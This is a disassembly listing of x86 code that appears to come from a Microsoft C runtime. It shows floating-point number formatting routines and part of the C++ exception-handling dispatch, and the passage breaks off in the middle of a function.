sub_429820	proc near		; DATA XREF: sub_41F2D0+Do

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_429824:				; CODE XREF: sub_429820+28j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42984A
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		movsx	ecx, ds:byte_44FD24
		cmp	eax, ecx
		jz	short loc_42984A
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_429824
; ---------------------------------------------------------------------------


loc_42984A:				; CODE XREF: sub_429820+Cj
					; sub_429820+1Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		test	ecx, ecx
		jz	loc_4298F3


loc_429861:				; CODE XREF: sub_429820+6Aj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42988C
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 65h
		jz	short loc_42988C
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 45h
		jz	short loc_42988C
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_429861
; ---------------------------------------------------------------------------


loc_42988C:				; CODE XREF: sub_429820+49j
					; sub_429820+54j ...
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx


loc_42989B:				; CODE XREF: sub_429820+8Fj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jnz	short loc_4298B1
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_42989B
; ---------------------------------------------------------------------------


loc_4298B1:				; CODE XREF: sub_429820+84j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		movsx	edx, ds:byte_44FD24
		cmp	ecx, edx
		jnz	short loc_4298CB
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		mov	[ebp+arg_0], eax


loc_4298CB:				; CODE XREF: sub_429820+A0j
					; sub_429820+D1j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		test	eax, eax
		jz	short loc_4298F3
		jmp	short loc_4298CB
; ---------------------------------------------------------------------------


loc_4298F3:				; CODE XREF: sub_429820+3Bj
					; sub_429820+CFj
		mov	esp, ebp
		pop	ebp
		retn
sub_429820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429900	proc near		; DATA XREF: sub_41F2D0+2Bo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fcomp	ds:dbl_43A188
		fnstsw	ax
		test	ah, 1
		jnz	short loc_42991F
		mov	[ebp+var_4], 1
		jmp	short loc_429926
; ---------------------------------------------------------------------------


loc_42991F:				; CODE XREF: sub_429900+14j
		mov	[ebp+var_4], 0


loc_429926:				; CODE XREF: sub_429900+1Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429930	proc near		; DATA XREF: sub_41F2D0+17o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_42995C
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_430290
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		mov	[edx+4], ecx
		jmp	short loc_429974
; ---------------------------------------------------------------------------


loc_42995C:				; CODE XREF: sub_429930+Aj
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_430310
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx


loc_429974:				; CODE XREF: sub_429930+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_429930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429980	proc near		; CODE XREF: sub_429E10+1Fp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_430450
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		xor	edx, edx
		cmp	[ebp+arg_8], 0
		setnle	dl
		add	ecx, edx
		push	ecx
		call	sub_430350
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_429A00
		add	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A00	proc near		; CODE XREF: sub_429980+67p
					; sub_429D20+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		movsx	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_429A37
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		cmp	dword ptr [ecx], 2Dh
		setz	dl
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		cmp	[ebp+arg_4], 0
		setnle	cl
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_429E70
		add	esp, 8


loc_429A37:				; CODE XREF: sub_429A00+Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 2Dh
		jnz	short loc_429A54
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_429A54:				; CODE XREF: sub_429A00+43j
		cmp	[ebp+arg_4], 0
		jle	short loc_429A78
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	al, ds:byte_44FD24
		mov	[edx], al


loc_429A78:				; CODE XREF: sub_429A00+58j
		push	offset aE000	; "e+000"
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		movsx	edx, [ebp+arg_10]
		neg	edx
		sbb	edx, edx
		inc	edx
		add	ecx, edx
		push	ecx
		call	sub_41E550
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_429AA6
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	45h


loc_429AA6:				; CODE XREF: sub_429A00+9Ej
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jz	loc_429B5F
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_429AE1
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh


loc_429AE1:				; CODE XREF: sub_429A00+D1j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 64h
		jl	short loc_429B15
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_8], edx


loc_429B15:				; CODE XREF: sub_429A00+EEj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		cmp	[ebp+var_8], 0Ah
		jl	short loc_429B49
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+var_8], edx


loc_429B49:				; CODE XREF: sub_429A00+122j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, byte ptr [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_429B5F:				; CODE XREF: sub_429A00+BBj
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_429A00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429B70	proc near		; CODE XREF: sub_429E10+3Bp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_430450
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		add	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		push	edx
		call	sub_430350
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_429BE0
		add	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_429B70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429BE0	proc near		; CODE XREF: sub_429B70+5Bp
					; sub_429D20+D9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_8], ecx
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_429C33
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_0]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_429C33
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0


loc_429C33:				; CODE XREF: sub_429BE0+18j
					; sub_429BE0+33j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax], 2Dh
		jnz	short loc_429C50
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx],	2Dh
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_429C50:				; CODE XREF: sub_429BE0+5Fj
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jg	short loc_429C78
		push	1
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_429E70
		add	esp, 8
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_429C84
; ---------------------------------------------------------------------------


loc_429C78:				; CODE XREF: sub_429BE0+77j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+4]
		mov	[ebp+var_4], edx


loc_429C84:				; CODE XREF: sub_429BE0+96j
		cmp	[ebp+arg_4], 0
		jle	loc_429D16
		push	1
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_429E70
		add	esp, 8
		mov	ecx, [ebp+var_4]
		mov	dl, ds:byte_44FD24
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_429D16
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_429CCE
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		neg	ecx
		mov	[ebp+arg_4], ecx
		jmp	short loc_429CF4
; ---------------------------------------------------------------------------


loc_429CCE:				; CODE XREF: sub_429BE0+DFj
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		cmp	[ebp+arg_4], eax
		jge	short loc_429CE3
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_10], ecx
		jmp	short loc_429CEE
; ---------------------------------------------------------------------------


loc_429CE3:				; CODE XREF: sub_429BE0+F9j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+4]
		neg	eax
		mov	[ebp+var_10], eax


loc_429CEE:				; CODE XREF: sub_429BE0+101j
		mov	ecx, [ebp+var_10]
		mov	[ebp+arg_4], ecx


loc_429CF4:				; CODE XREF: sub_429BE0+ECj
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_429E70
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	30h
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41D100
		add	esp, 0Ch


loc_429D16:				; CODE XREF: sub_429BE0+A8j
					; sub_429BE0+D7j
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_429BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429D20	proc near		; CODE XREF: sub_429E10+55p

var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	[ebp+var_30], 0
		lea	eax, [ebp+var_14]
		mov	[ebp+var_38], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_430450
		add	esp, 10h
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_34], ecx
		mov	edx, [ebp+var_38]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_430350
		add	esp, 0Ch
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		xor	ecx, ecx
		cmp	[ebp+var_34], eax
		setl	cl
		mov	[ebp+var_30], cl
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFCh
		jl	short loc_429DAB
		mov	ecx, [ebp+var_34]
		cmp	ecx, [ebp+arg_8]
		jl	short loc_429DC7


loc_429DAB:				; CODE XREF: sub_429D20+81j
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_429A00
		add	esp, 14h
		jmp	short loc_429E01
; ---------------------------------------------------------------------------


loc_429DC7:				; CODE XREF: sub_429D20+89j
		movsx	eax, [ebp+var_30]
		test	eax, eax
		jz	short loc_429DEB


loc_429DCF:				; CODE XREF: sub_429D20+C2j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		test	edx, edx
		jz	short loc_429DE4
		jmp	short loc_429DCF
; ---------------------------------------------------------------------------


loc_429DE4:				; CODE XREF: sub_429D20+C0j
		mov	ecx, [ebp+var_4]
		mov	byte ptr [ecx-2], 0


loc_429DEB:				; CODE XREF: sub_429D20+ADj
		push	1
		mov	edx, [ebp+var_38]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_429BE0
		add	esp, 10h


loc_429E01:				; CODE XREF: sub_429D20+A5j
		mov	esp, ebp
		pop	ebp
		retn
sub_429D20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E10	proc near		; DATA XREF: sub_41F2D0+3o
					; sub_41F2D0+35o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_429E1F
		cmp	[ebp+arg_8], 45h
		jnz	short loc_429E39


loc_429E1F:				; CODE XREF: sub_429E10+7j
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429980
		add	esp, 10h
		jmp	short loc_429E6D
; ---------------------------------------------------------------------------


loc_429E39:				; CODE XREF: sub_429E10+Dj
		cmp	[ebp+arg_8], 66h
		jnz	short loc_429E55
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429B70
		add	esp, 0Ch
		jmp	short loc_429E6D
; ---------------------------------------------------------------------------


loc_429E55:				; CODE XREF: sub_429E10+2Dj
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429D20
		add	esp, 10h


loc_429E6D:				; CODE XREF: sub_429E10+27j
					; sub_429E10+43j
		pop	ebp
		retn
sub_429E10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429E70	proc near		; CODE XREF: sub_429A00+2Fp
					; sub_429BE0+7Fp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jz	short loc_429E9C
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+arg_4]
		push	edx
		call	sub_41F9A0
		add	esp, 0Ch


loc_429E9C:				; CODE XREF: sub_429E70+7j
		pop	ebp
		retn
sub_429E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429EA0	proc near		; CODE XREF: sub_41F580+27p
					; sub_41F660+2Cp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax], 19930520h
		jnz	short loc_429EBA
		mov	[ebp+var_8], 0
		jmp	short loc_429EC2
; ---------------------------------------------------------------------------


loc_429EBA:				; CODE XREF: sub_429EA0+Fj
		call	sub_42AC00
		mov	[ebp+var_8], eax


loc_429EC2:				; CODE XREF: sub_429EA0+18j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, 66h
		test	edx, edx
		jz	short loc_429EFE
		mov	eax, [ebp+arg_10]
		cmp	dword ptr [eax+4], 0
		jz	short loc_429EF4
		cmp	[ebp+arg_14], 0
		jnz	short loc_429EF4
		push	0FFFFFFFFh
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42A410
		add	esp, 10h


loc_429EF4:				; CODE XREF: sub_429EA0+36j
					; sub_429EA0+3Cj
		mov	eax, 1
		jmp	loc_429F8B
; ---------------------------------------------------------------------------


loc_429EFE:				; CODE XREF: sub_429EA0+2Dj
		mov	ecx, [ebp+arg_10]
		cmp	dword ptr [ecx+0Ch], 0
		jz	short loc_429F86
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_429F5E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jbe	short loc_429F5E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1Ch]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_429F5E
		mov	ecx, [ebp+arg_1C]
		and	ecx, 0FFh
		push	ecx
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	[ebp+var_4]
		add	esp, 20h
		jmp	short loc_429F8B
; ---------------------------------------------------------------------------


loc_429F5E:				; CODE XREF: sub_429EA0+70j
					; sub_429EA0+7Cj ...
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	dl, byte ptr [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429F90
		add	esp, 20h


loc_429F86:				; CODE XREF: sub_429EA0+65j
		mov	eax, 1


loc_429F8B:				; CODE XREF: sub_429EA0+59j
					; sub_429EA0+BCj
		mov	esp, ebp
		pop	ebp
		retn
sub_429EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429F90	proc near		; CODE XREF: sub_429EA0+DEp

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0FFFFFFFFh
		jl	short loc_429FBD
		mov	edx, [ebp+arg_10]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx+4]
		jge	short loc_429FBD
		mov	[ebp+var_28], 0
		jmp	short loc_429FC5
; ---------------------------------------------------------------------------


loc_429FBD:				; CODE XREF: sub_429F90+17j
					; sub_429F90+22j
		call	sub_42AC00
		mov	[ebp+var_28], eax


loc_429FC5:				; CODE XREF: sub_429F90+2Bj
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	loc_42A085
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+10h], 3
		jnz	loc_42A085
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+14h], 19930520h
		jnz	loc_42A085
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+1Ch], 0
		jnz	loc_42A085
		call	sub_425C30
		cmp	dword ptr [eax+6Ch], 0
		jnz	short loc_42A00E
		jmp	loc_42A22C
; ---------------------------------------------------------------------------


loc_42A00E:				; CODE XREF: sub_429F90+77j
		call	sub_425C30
		mov	edx, [eax+6Ch]
		mov	[ebp+arg_0], edx
		call	sub_425C30
		mov	eax, [eax+70h]
		mov	[ebp+arg_8], eax
		mov	[ebp+var_8], 1
		push	1
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	loc_4306F0
		add	esp, 8
		test	eax, eax
		jz	short loc_42A043
		mov	[ebp+var_2C], 0
		jmp	short loc_42A04B
; ---------------------------------------------------------------------------


loc_42A043:				; CODE XREF: sub_429F90+A8j
		call	sub_42AC00
		mov	[ebp+var_2C], eax


loc_42A04B:				; CODE XREF: sub_429F90+B1j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42A07E
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42A07E
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_42A07E
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42A07E
		call	sub_42AC00
		mov	[ebp+var_30], eax
		jmp	short loc_42A085
; ---------------------------------------------------------------------------


loc_42A07E:				; CODE XREF: sub_429F90+C4j
					; sub_429F90+CDj ...
		mov	[ebp+var_30], 0


loc_42A085:				; CODE XREF: sub_429F90+3Ej
					; sub_429F90+4Bj ...
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	loc_42A1EC
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx+10h], 3
		jnz	loc_42A1EC
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	loc_42A1EC
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_14]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		call	sub_41F800
		add	esp, 14h
		mov	[ebp+var_10], eax
		jmp	short loc_42A0E4
; ---------------------------------------------------------------------------


